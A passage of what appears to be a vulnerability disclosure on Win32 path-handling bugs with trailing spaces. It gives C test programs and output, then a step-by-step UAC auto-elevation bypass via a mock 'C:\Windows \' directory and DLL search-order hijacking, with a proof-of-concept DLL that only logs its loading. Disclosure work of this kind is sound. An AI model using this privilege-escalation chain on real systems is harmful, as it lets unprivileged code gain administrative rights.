GetTempPath() returned pathname 'C:\Users\Stefan\' of 16 characters for USERPROFILE=.. of 2 characters GetTempFileName() returned pathname 'C:\Users\Stefan\tmp848D.tmp' GetTempPath() returned pathname 'C:\Users\' of 9 characters for USERPROFILE=..\.. of 5 characters GetTempFileName() returned error 5 GetTempPath() returned pathname 'C:\' of 3 characters for USERPROFILE=..\..\.. of 8 characters GetTempFileName() returned pathname 'C:\tmp849F.tmp' GetTempPath() returned pathname 'C:\' of 3 characters for USERPROFILE=..\..\..\.. of 11 characters GetTempFileName() returned pathname 'C:\tmp84A0.tmp' GetTempPath() returned pathname '\\.\AUX\' of 8 characters for USERPROFILE=AUX of 3 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\AUX\' of 8 characters for USERPROFILE=AUX: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\CON\' of 8 characters for USERPROFILE=CON: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\NUL\' of 8 characters for USERPROFILE=NUL: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\PRN\' of 8 characters for USERPROFILE=PRN: of 4 characters GetTempFileName() returned error 267 0x10B (WIN32: 267 ERROR_DIRECTORY) -- 267 (267) Error message text: The directory name is invalid. CertUtil: -error command completed successfully.OUCH⁵: contrary to its documentation cited above, the Win32 function
GetTempPath()
returns values greater than 261
(= MAX_PATH
+ 1)!
OUCH⁶: the documentation also fails to tell
that the Win32 function
GetTempFileName()
adds a backslash in front of the file name if the directory path
name does not end with a backslash!
GetDllDirectory()
is documented in the
MSDN as
follows:
Retrieves the application-specific portion of the search path used to locate DLLs for the application.Note: designed and implemented properly, this function would return the value of[…]DWORD GetDllDirectory( DWORD nBufferLength, LPTSTR lpBuffer );
If the function succeeds, the return value is the length of the string copied to lpBuffer, in characters, not including the terminating null character. If the return value is greater than nBufferLength, it specifies the size of the buffer required for the path.
If the function fails, the return value is zero. To get extended error information, call GetLastError.
nBufferLength
for
failure, supporting successful retrieval of empty strings!
In addition to the quirk bug demonstrated
below, the documentation fails to tell that lpBuffer
can be 0 alias NULL
if nBufferLength
is 0
too.
Create the text file quirk12.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
WCHAR szBuffer[MAX_PATH];
DWORD dwBuffer;
DWORD dwCount;
DWORD dwError = ERROR_SUCCESS;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
dwBuffer = GetDllDirectory(0, szBuffer);
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetDllDirectory(0, 0x%p) returned error %lu\n",
szBuffer, dwError = GetLastError());
else
{
PrintConsole(hConsole,
L"GetDllDirectory(0, 0x%p) returned buffer size %lu\n",
szBuffer, dwBuffer);
SetLastError(123456789);
dwCount = GetDllDirectory(dwBuffer, szBuffer);
if (dwCount == 0)
PrintConsole(hConsole,
L"GetDllDirectory(%lu, 0x%p) returned error %lu\n",
dwBuffer, szBuffer, dwError = GetLastError());
}
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
Build the console application quirk12.exe
from the
source file quirk12.c
created in step 1.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk12.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options. Compiler Options Listed Alphabetically Compiler Options Listed by Category
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk12.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk12.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk12.exe quirk12.obj kernel32.lib user32.lib
Execute the console application quirk12.exe
built in
step 2. to demonstrate the (mis)behaviour:
.\quirk12.exe ECHO %ERRORLEVEL%
GetDllDirectory(0, 0x003EF948) returned buffer size 1 GetDllDirectory(1, 0x003EF948) returned error 123456789 123456789OUCH: when no application-specific DLL search path is set, the Win32 function
GetDllDirectory()
returns 0, but fails to (re)set the Win32 error code 0
alias
ERROR_SUCCESS
to indicate no error!
FindFirstFile()
,
FindFirstFileEx()
,
GetFullPathName()
,
GetLongPathName()
and
GetShortPathName()
are documented in the
MSDN as
follows:
Searches a directory for a file or subdirectory with a name that matches a specific name (or partial name if wildcards are used).[…]
[…]HANDLE FindFirstFile( LPCTSTR lpFileName, LPWIN32_FIND_DATA lpFindFileData );
If the function succeeds, the return value is a search handle used in a subsequent call to FindNextFile or FindClose, and the lpFindFileData parameter contains information about the first file or directory found.
If the function fails or fails to locate files from the search string in the lpFileName parameter, the return value is INVALID_HANDLE_VALUE and the contents of lpFindFileData are indeterminate. To get extended error information, call the GetLastError function.
If the function fails because no matching files can be found, the GetLastError function returns ERROR_FILE_NOT_FOUND.
Searches a directory for a file or subdirectory with a name and attributes that match those specified.[…]
[…]HANDLE FindFirstFileEx( LPCTSTR lpFileName, FINDEX_INFO_LEVELS fInfoLevelId, LPVOID lpFindFileData, FINDEX_SEARCH_OPS fSearchOp, LPVOID lpSearchFilter, DWORD dwAdditionalFlags );
If the function succeeds, the return value is a search handle used in a subsequent call to FindNextFile or FindClose, and the lpFindFileData parameter contains information about the first file or directory found.
If the function fails or fails to locate files from the search string in the lpFileName parameter, the return value is INVALID_HANDLE_VALUE and the contents of lpFindFileData are indeterminate. To get extended error information, call the GetLastError function.
Retrieves the full path and file name of the specified file.[…]
[…]DWORD GetFullPathName( LPCTSTR lpFileName, DWORD nBufferLength, LPTSTR lpBuffer, LPTSTR *lpFilePart );
This function does not verify that the resulting path and file name are valid, or that they see an existing file on the associated volume.
[…]
If the return value is greater than or equal to the value specified in nBufferLength, you can call the function again with a buffer that is large enough to hold the path. […]
Note Although the return value in this case is a length that includes the terminating null character, the return value on success does not include the terminating null character in the count.
Converts the specified path to its long form.[…]
[…]DWORD GetLongPathName( LPCTSTR lpszShortPath, LPTSTR lpszLongPath, DWORD cchBuffer );
If the function succeeds, the return value is the length, in TCHARs, of the string copied to lpszLongPath, not including the terminating null character.
If the lpBuffer buffer is too small to contain the path, the return value is the size, in TCHARs, of the buffer that is required to hold the path and the terminating null character.
If the function fails for any other reason, such as if the file does not exist, the return value is zero. To get extended error information, call GetLastError.
[…]
If the file or directory exists but a long path is not found, GetLongPathName succeeds, having copied the string referred to by the lpszShortPath parameter to the buffer referred to by the lpszLongPath parameter.
If the return value is greater than the value specified in cchBuffer, you can call the function again with a buffer that is large enough to hold the path. […]
Note Although the return value in this case is a length that includes the terminating null character, the return value on success does not include the terminating null character in the count.
Retrieves the short path form of the specified path.[…]
[…]DWORD GetShortPathName( LPCTSTR lpszLongPath, LPTSTR lpszShortPath, DWORD cchBuffer );
If the function succeeds, the return value is the length, in TCHARs, of the string that is copied to lpszShortPath, not including the terminating null character.
If the lpszShortPath buffer is too small to contain the path, the return value is the size of the buffer, in TCHARs, that is required to hold the path and the terminating null character.
If the function fails for any other reason, the return value is zero. To get extended error information, call GetLastError.
[…]
If the return value is greater than the value specified in the cchBuffer parameter, you can call the function again with a buffer that is large enough to hold the path. […]
Note Although the return value in this case is a length that includes the terminating null character, the return value on success does not include the terminating null character in the count.[…]If you call GetShortPathName on a path that doesn't have any short names on-disk, the call will succeed, but will return the long-name path instead. This outcome is also possible with NTFS volumes because there's no guarantee that a short name will exist for a given long name.
Create the text file quirk13.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
WIN32_FIND_DATA wfd;
WCHAR szBuffer[MAX_PATH];
DWORD dwBuffer;
DWORD dwError;
BOOL bFind = FALSE;
HANDLE hFind;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
#ifdef DEVICE
hFind = FindFirstFile(L"..\\NUL:", &wfd);
#else
hFind = FindFirstFile(L"Quirk13 \\*", &wfd);
#endif
if (hFind == INVALID_HANDLE_VALUE)
PrintConsole(hConsole,
L"FindFirstFile() returned error %lu\n",
dwError = GetLastError());
else
{
do
PrintConsole(hConsole,
L"Find%lsFile() returned filename \'%ls\' with alternate (8.3) filename \'%ls\' and attributes 0x%08lX\n",
bFind ? L"Next" : L"First", wfd.cFileName, wfd.cAlternateFileName, wfd.dwFileAttributes);
while (bFind = FindNextFile(hFind, &wfd));
dwError = GetLastError();
if (dwError == ERROR_NO_MORE_FILES)
dwError = ERROR_SUCCESS;
else
PrintConsole(hConsole,
L"FindNextFile() returned error %lu\n",
dwError);
if (!FindClose(hFind))
PrintConsole(hConsole,
L"FindClose() returned error %lu\n",
dwError = GetLastError());
}
#ifdef DEVICE
dwBuffer = GetFullPathName(L"..\\NUL:",
#else
dwBuffer = GetFullPathName(L"Quirk13 \\*",
#endif
sizeof(szBuffer) / sizeof(*szBuffer),
szBuffer,
NULL);
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetFullPathName() returned error %lu\n",
dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetFullPathName() returned pathname \'%ls\' of %lu characters\n",
szBuffer, dwBuffer);
#ifdef DEVICE
hFind = FindFirstFile(L"..\\NUL:", &wfd);
#else
hFind = FindFirstFile(L"Quirk13 \\.", &wfd);
#endif
if (hFind == INVALID_HANDLE_VALUE)
PrintConsole(hConsole,
L"FindFirstFile() returned error %lu\n",
dwError = GetLastError());
else
{
do
PrintConsole(hConsole,
L"Find%lsFile() returned filename \'%ls\' with alternate (8.3) filename \'%ls\' and attributes 0x%08lX\n",
bFind ? L"Next" : L"First", wfd.cFileName, wfd.cAlternateFileName, wfd.dwFileAttributes);
while (bFind = FindNextFile(hFind, &wfd));
dwError = GetLastError();
if (dwError == ERROR_NO_MORE_FILES)
dwError = ERROR_SUCCESS;
else
PrintConsole(hConsole,
L"FindNextFile() returned error %lu\n",
dwError);
if (!FindClose(hFind))
PrintConsole(hConsole,
L"FindClose() returned error %lu\n",
dwError = GetLastError());
}
#ifdef DEVICE
dwBuffer = GetFullPathName(L"..\\NUL:",
#else
dwBuffer = GetFullPathName(L"Quirk13 \\.",
#endif
sizeof(szBuffer) / sizeof(*szBuffer),
szBuffer,
NULL);
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetFullPathName() returned error %lu\n",
dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetFullPathName() returned pathname \'%ls\' of %lu characters\n",
szBuffer, dwBuffer);
#ifdef DEVICE
dwBuffer = GetLongPathName(L"..\\NUL:",
#else
dwBuffer = GetLongPathName(L"Quirk13 \\.",
#endif
szBuffer,
sizeof(szBuffer) / sizeof(*szBuffer));
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetLongPathName() returned error %lu\n",
dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetLongPathName() returned pathname \'%ls\' of %lu characters\n",
szBuffer, dwBuffer);
#ifdef DEVICE
dwBuffer = GetShortPathName(L"..\\NUL:",
#else
dwBuffer = GetShortPathName(L"Quirk13 \\.",
#endif
szBuffer,
sizeof(szBuffer) / sizeof(*szBuffer));
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetShortPathName() returned error %lu\n",
dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetShortPathName() returned pathname \'%ls\' of %lu characters\n",
szBuffer, dwBuffer);
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
Build the console application quirk13.exe
from the
source file quirk13.c
created in step 1.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk13.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk13.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk13.c quirk13.c(63) : warning C4706: assignment within conditional expression quirk13.c(107) : warning C4706: assignment within conditional expression Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk13.exe quirk13.obj kernel32.lib user32.lib
Execute the console application quirk13.exe
built in
step 2. to demonstrate the inconsistent (mis)behaviour:
.\quirk13.exe MKDIR "Quirk13 \" .\quirk13.exe RMDIR "Quirk13 \" MKDIR Quirk13 .\quirk13.exe RMDIR Quirk13Note: the command lines can be copied and pasted as block into a Command Processor window.
FindFirstFile() returned error 3 GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Quirk13 \*' of 34 characters FindFirstFile() returned error 2 GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Quirk13' of 31 characters GetLongPathName() returned error 2 GetShortPathName() returned error 2 FindFirstFile() returned filename '.' with alternate (8.3) filename '' and attributes 0x00000010 FindNextFile() returned filename '..' with alternate (8.3) filename '' and attributes 0x00000010 GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Quirk13 \*' of 34 characters FindFirstFile() returned error 2 GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Quirk13' of 31 characters GetLongPathName() returned error 2 GetShortPathName() returned error 2 FindFirstFile() returned error 3 GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Quirk13 \*' of 34 characters FindFirstFile() returned filename 'Quirk13' with alternate (8.3) filename '' and attributes 0x00000010 GetFullPathName() returned pathname 'C:\Users\Stefan\Desktop\Quirk13' of 31 characters GetLongPathName() returned pathname 'Quirk13\.' of 9 characters GetShortPathName() returned pathname 'Quirk13 \.' of 10 charactersOUCH¹: the Win32 functions
FindFirstFile()
,
GetFullPathName()
,
GetLongPathName()
and
GetShortPathName()
misinterpret the directory name …\Quirk13 \.
as
…\Quirk13
!
OUCH²: contrary to its documentation cited
above, the Win32 function
FindFirstFile()
does not return INVALID_HANDLE_VALUE
with Win32 error code 2 alias
ERROR_FILE_NOT_FOUND
set if the (empty) directory …\Quirk13 \
exists!
OUCH³: contrary to their documentation cited
above, the Win32 functions
GetLongPathName()
and
GetShortPathName()
do not return zero with Win32 error
code 3 alias
ERROR_PATH_NOT_FOUND
set if the directory …\Quirk13\
exists!
OUCH⁴: the Win32 function
GetShortPathName()
returns the not existing (relative) path name
Quirk13 \.
if the directory
…\Quirk13\
exists!
FindFirstFileEx()
,
FindFirstFileTransacted()
,
GetFullPathNameTransacted()
and
GetLongPathNameTransacted()
is left as an exercise to the reader.
Note: an evaluation of the behaviour for directory or file names with multiple trailing spaces as well as one or more trailing dots followed by one or more spaces, i.e. an extension containing only spaces, is also left as an exercise to the reader.
Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.
GetFullPathName()
and
GetLongPathName()
are used (direct and indirect) by the security theatreUAC to verify two of the three preconditions required for
auto-elevationof applications:
autoElevate
property in the (embedded)
Application Manifest,
Windows Publishercode signing certificate, and
securealias
trustedlocation like
%SystemRoot%\
and its subdirectories.
path rules.
Note: the well-known bug of the Win32 functions is documented as CWE-41: Improper Resolution of Path Equivalence, CWE-46: Path Equivalence: 'filename ' (Trailing Space), CWE-162: Improper Neutralization of Trailing Special Elements and CWE-163: Improper Neutralization of Multiple Trailing Special Elements in the CWE™.
Note: the command lines can be copied and pasted as blocks into a Command Processor window.
Steps 1. to 8. show the normal, intended and expected behaviour, steps 9. and 10. exploit the bugs, and step 11. cleans up.
Execute
KTMUtil.exe
to verify that the Command Processor
runs without administrative privileges and access rights.
CHDIR /D "%SystemRoot%" System32\KTMUtil.exe
The KTMUTIL utility requires that you have administrative privileges.
Load and execute
NetPlWiz.dll
to display the User Accounts
dialog box:
System32\RunDLL32.exe System32\NetPlWiz.dll,UsersRunDllNote: the TechNet article PassportWizardRunDll documents another (now removed) function of
NetPlWiz.dll
that
Load and execute
PrintUI.dll
to
display a dialog box with the usage instructions of its
PrintUIEntry()
function, as documented in the
TechNet
article
Rundll32 printui.dll,PrintUIEntry:
System32\RunDLL32.exe System32\PrintUI.dll,PrintUIEntry /?
Load and execute
ShUnimpl.dll
to let
RunDLL32.exe
display an error message box:
System32\RunDLL32.exe System32\ShUnimpl.dll,#0Note:
ShUnimpl.dll
is the
graveyardfor obsolete and now unimplemented functions of Windows’
shellfrom prior versions of Windows NT; to inhibit their use, its
_DllMainCRTStartup()
entry point function intentionally returns FALSE
and
lets the Win32 function
LoadLibrary()
fail with Win32 error code 1114 alias
ERROR_DLL_INIT_FAILED
.
Execute
MMC.exe
to trigger
a (blue) UAC prompt
that shows Verified Publisher: Microsoft Windows
:
System32\MMC.exeNote: the TechNet article Understanding and Configuring User Account Control in Windows Vista provides detailed information not just about the color code.
Execute the auto-elevating
PrintUI.exe
to load
PrintUI.dll
and
display its Printer Settings
dialog box
without triggering a
UAC prompt:
System32\NetPlWiz.exe
Execute the auto-elevating
NetPlWiz.exe
to load
NetPlWiz.dll
and display its User Accounts
dialog box
without triggering a
UAC prompt:
System32\PrintUI.exe
Copy MMC.exe
,
NetPlWiz.exe
and PrintUI.exe
into
an (arbitrary) subdirectory of the systems’ TEMP
directory %SystemRoot%\Temp\
, then execute these copies
to trigger a (now yellow)
UAC prompt that
shows Publisher: Unknown
:
MKDIR Temp\Example COPY System32\MMC.exe Temp\Example\MMC.exe Temp\Example\MMC.exe COPY System32\NetPlWiz.exe Temp\Example\NetPlWiz.exe Temp\Example\NetPlWiz.exe COPY System32\PrintUI.exe Temp\Example\PrintUI.exe Temp\Example\PrintUI.exe RMDIR /Q /S Temp\Example
1 file(s) copied. 1 file(s) copied. 1 file(s) copied.Note: the digital signatures of almost all files shipped with Windows are not embedded in these files, but stored in separate
catalog files
%SystemRoot%\System32\CatRoot\{00000000-0000-0000-0000-000000000000}\*.cat
,
%SystemRoot%\System32\CatRoot\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\*.cat
and
%SystemRoot%\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\*.cat
;
an index of the signatures’ hashes is maintained in the
catalog database files
%SystemRoot%\System32\CatRoot2\{00000000-0000-0000-0000-000000000000}\catdb
,
%SystemRoot%\System32\CatRoot2\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\catdb
and
%SystemRoot%\System32\CatRoot2\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\catdb
.
(Not only) UAC
validates these detached digital signatures independent of the
actual file name, and with some exceptions, for example in an
untrusted directory like %SystemRoot%\Temp\
, also
independent of the actual path name.
Create the directory Windows \
in the root directory of
the system drive
, copy
MMC.exe
,
NetPlWiz.exe
and PrintUI.exe
into
it, execute the copy of
MMC.exe
to trigger
a (blue) UAC prompt
that shows Publisher: Unknown
, then execute
NetPlWiz.exe
and PrintUI.exe
to
load
NetPlWiz.dll
and PrintUI.dll
which display their dialog boxes without triggering
a UAC prompt:
MKDIR "%SystemRoot% " COPY System32\MMC.exe "%SystemRoot% \MMC.exe" "%SystemRoot% \MMC.exe" COPY System32\NetPlWiz.exe "%SystemRoot% \NetPlWiz.exe" "%SystemRoot% \NetPlWiz.exe" COPY System32\PrintUI.exe "%SystemRoot% \PrintUI.exe" "%SystemRoot% \PrintUI.exe"
1 file(s) copied. 1 file(s) copied. 1 file(s) copied.Ouch: due to the bugs in the Win32 functions
FindFirstFile()
,
GetFullPathName()
,
GetLongPathName()
and
GetShortPathName()
demonstrated above,
UAC misidentifies
%SystemRoot% \
as trusteddirectory and performs
auto-elevation!
Note:
UAC exhibits this
vulnerability (at least) in the directories
%SystemRoot% \
,
%SystemRoot% .\
,
%SystemRoot% . \
, %SystemRoot%. \
,
%SystemRoot% . \
, %SystemRoot%. \
,
%SystemRoot% . \
, %SystemRoot%. \
.
Copy ShUnimpl.dll
as
NetPlWiz.dll
and PrintUI.dll
into the directory Windows \
, then execute the copies
of the auto-elevating
NetPlWiz.exe
and PrintUI.exe
again:
COPY System32\ShUnimpl.dll "%SystemRoot% \NetPlWiz.dll" "%SystemRoot% \NetPlWiz.exe" System32\CertUtil.exe /ERROR %ERRORLEVEL% COPY System32\ShUnimpl.dll "%SystemRoot% \PrintUI.dll" "%SystemRoot% \PrintUI.exe" ECHO %ERRORLEVEL% System32\Net.exe HELPMSG %ERRORLEVEL%
1 file(s) copied. 0xc0000139 (NT: 0xc0000139 STATUS_ENTRYPOINT_NOT_FOUND) -- 3221225785 (-1073741511) Error message text: {Entry Point Not Found} The procedure entry point %hs could not be located in the dynamic link library %hs. CertUtil: -error command completed successfully. 1 file(s) copied. 1114 A dynamic link library (DLL) initialization routine failed.OUCH: (like almost all applications shipped with Windows)
NetPlWiz.exe
and PrintUI.exe
are
vulnerable to
CWE-426: Untrusted Search Path
and
CWE-427: Uncontrolled Search Path Element,
and susceptible to
CAPEC-471: Search Order Hijacking;
they load and execute (at least) an arbitrary (unsigned)
NetPlWiz.dll
respectively
PrintUI.dll
from their (untrusted and user-writable)
application directory
%SystemRoot% \
instead
from Windows’ system directory
%SystemRoot%\System32\
, allowing arbitrary code
execution with administrative privileges and access rights!
Note: if Microsoft’s developers
were not so careless, clueless and sloppy, their
quality miserability assurance not sound
asleep, and their managers not completely incompetent and ignorant,
they would have read for example the
MSRC
blog post
Load Library Safely,
the MSKB
articles
2389418
and
2533623,
the Security Advisory
2269637,
the MSDN
articles
Dynamic-Link Library Security
and
Dynamic-Link Library Search Order,
then exercised defense in depth
and fixed their crap long ago
to inhibit such attacks!
Note:
NetPlWiz.dll
is a
static (load-time) dependency
of
NetPlWiz.exe
,
and PrintUI.dll
is a
run-time dependency
of PrintUI.exe
.
Note: building a DLL that loads and executes arbitrary code is left as an exercise to the reader.
�
// Copyright © 2009-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#define wmemcpy __movsw
__declspec(dllexport)
VOID WINAPI PrintUIEntryW(HWND hWindow,
HINSTANCE hInstance,
LPCSTR lpszCmdLine,
INT nCmdShow)
{
if (!WriteProfileString(L"PrintUI",
L"PrintUIEntryW",
GetCommandLine()))
/* no error handling */;
}
__declspec(dllexport)
VOID WINAPI UsersRunDllW(HWND hWindow,
HINSTANCE hInstance,
LPCSTR lpszCmdLine,
INT nCmdShow)
{
if (!WriteProfileString(L"NetPlWiz",
L"UsersRunDllW",
GetCommandLine()))
/* no error handling */;
}
__declspec(safebuffers)
BOOL WINAPI _DllMainCRTStartup(HMODULE hModule,
DWORD dwReason,
LPVOID lpReserved)
{
DWORD dwModule;
WCHAR szModule[MAX_PATH];
DWORD dwProcess;
WCHAR szProcess[MAX_PATH];
DWORD dwWindows;
WCHAR szWindows[MAX_PATH];
HANDLE hWindows;
DWORD dwOutput;
CHAR szOutput[1024];
if (dwReason != DLL_PROCESS_ATTACH)
return FALSE;
dwModule = GetModuleFileName(hModule,
szModule,
sizeof(szModule) / sizeof(*szModule));
if (dwModule != 0)
szModule[dwModule] = L'\0';
else
memcpy(szModule, L"<unknown>", sizeof(L"<unknown>"));
dwProcess = GetModuleFileName((HMODULE) NULL,
szProcess,
sizeof(szProcess) / sizeof(*szProcess));
if (dwProcess != 0)
szProcess[dwProcess] = L'\0';
else
memcpy(szProcess, L"<unknown>", sizeof(L"<unknown>"));
dwWindows = GetSystemWindowsDirectory(szWindows,
sizeof(szWindows) / sizeof(*szWindows));
if (dwWindows == 0)
return FALSE;
memcpy(szWindows + dwWindows, L"\\Quirk13.log", sizeof(L"\\Quirk13.log"));
hWindows = CreateFile(szWindows,
FILE_APPEND_DATA | SYNCHRONIZE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
(LPSECURITY_ATTRIBUTES) NULL,
OPEN_ALWAYS,
FILE_FLAG_WRITE_THROUGH,
(HANDLE) NULL);
if (hWindows == INVALID_HANDLE_VALUE)
return FALSE;
dwOutput = wsprintfA(szOutput,
"Module \'%ls\' loaded at address 0x%p in process \'%ls\'\r\n",
szModule, hModule, szProcess);
if (!WriteFile(hWindows,
szOutput,
dwOutput * sizeof(*szOutput),
&dwWindows,
(LPOVERLAPPED) NULL))
/* no error handling */;
else
if (dwWindows != dwOutput * sizeof(*szOutput))
/* no error handling */;
if (!CloseHandle(hWindows))
/* no error handling */;
return TRUE;
}
�
SET CL=/GAFyz /LD /Oisy /W4 /wd4100 /Zl SET LINK=/EXPORT:PrintUIEntryW /EXPORT:UsersRunDllW /NODEFAULTLIB CL.EXE quirk13.c kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk13.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /EXPORT:PrintUIEntryW /EXPORT:UsersRunDllW /NODEFAULTLIB /out:quirk13.dll /dll /implib:quirk13.lib quirk13.obj kernel32.lib user32.lib Creating library quirk13.lib and object quirk13.exp
�
COPY /Y NUL: quirk13.log COPY /Y …\quirk13.dll "%SystemRoot% \NetPlWiz.dll" "%SystemRoot% \NetPlWiz.exe" COPY /Y …\quirk13.dll "%SystemRoot% \PrintUI.dll" "%SystemRoot% \PrintUI.exe" TYPE quirk13.log ERASE quirk13.log
Access denied 0 file(s) copied. 1 file(s) copied. 1 file(s) copied. Module 'C:\Windows \NetPlWiz.dll' loaded in process 'C:\Windows \NetPlWiz.exe' Module 'C:\Windows \PrintUI.dll' loaded in process 'C:\Windows \PrintUI.exe' C:\Windows\quirk13.log Access denied
Clean up:
RMDIR /Q /S "%SystemRoot% " EXIT
REM Copyright © 2014-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
CHDIR /D "%SystemRoot%"
TITLE Step 0: KTMUtil.exe shows that these commands don't run elevated
System32\KTMUtil.exe
TITLE Step 1: NetPlWiz.dll displays the 'User Accounts' dialog box
System32\RunDLL32.exe System32\NetPlWiz.dll,UsersRunDll
TITLE Step 2: PrintUI.dll displays a dialog box
System32\RunDLL32.exe System32\PrintUI.dll,PrintUIEntry /?
TITLE Step 3: ShUnimpl.dll denies to load, RunDLL32.exe displays an error message box
System32\RunDLL32.exe System32\ShUnimpl.dll,#0
TITLE Step 4: MMC.exe triggers a blue UAC prompt
System32\MMC.exe
TITLE Step 5: NetPlWiz.exe triggers no UAC prompt and auto-elevates, then loads NetPlWiz.dll which displays the 'User Accounts' dialog box
System32\NetPlWiz.exe
TITLE Step 6: PrintUI.exe triggers no UAC prompt and auto-elevates, then loads PrintUI.dll which displays its dialog box
System32\PrintUI.exe
TITLE Step 7: MMC.exe, NetPlWiz.exe and PrintUI.exe trigger a yellow UAC prompt which shows "Publisher: Unknown"
MKDIR Temp\Quirk13
COPY System32\MMC.exe Temp\Quirk13\MMC.exe
Temp\Quirk13\MMC.exe
COPY System32\NetPlWiz.exe Temp\Quirk13\NetPlWiz.exe
Temp\Quirk13\NetPlWiz.exe
COPY System32\PrintUI.exe Temp\Quirk13\PrintUI.exe
Temp\Quirk13\PrintUI.exe
RMDIR /Q /S Temp\Quirk13
TITLE Step 8: MMC.exe triggers a blue UAC prompt which shows "Verified Publisher: Microsoft Windows"
MKDIR "%SystemRoot% "
COPY System32\MMC.exe "%SystemRoot% \MMC.exe"
"%SystemRoot% \MMC.exe"
TITLE Step 9: NetPlWiz.exe triggers no UAC prompt and auto-elevates, then loads NetPlWiz.dll which displays the 'User Accounts' dialog box
COPY System32\NetPlWiz.exe "%SystemRoot% \NetPlWiz.exe"
"%SystemRoot% \NetPlWiz.exe"
TITLE Step 10: PrintUI.exe triggers no UAC prompt and auto-elevates, then loads PrintUI.dll which displays its dialog box
COPY System32\PrintUI.exe "%SystemRoot% \PrintUI.exe"
"%SystemRoot% \PrintUI.exe"
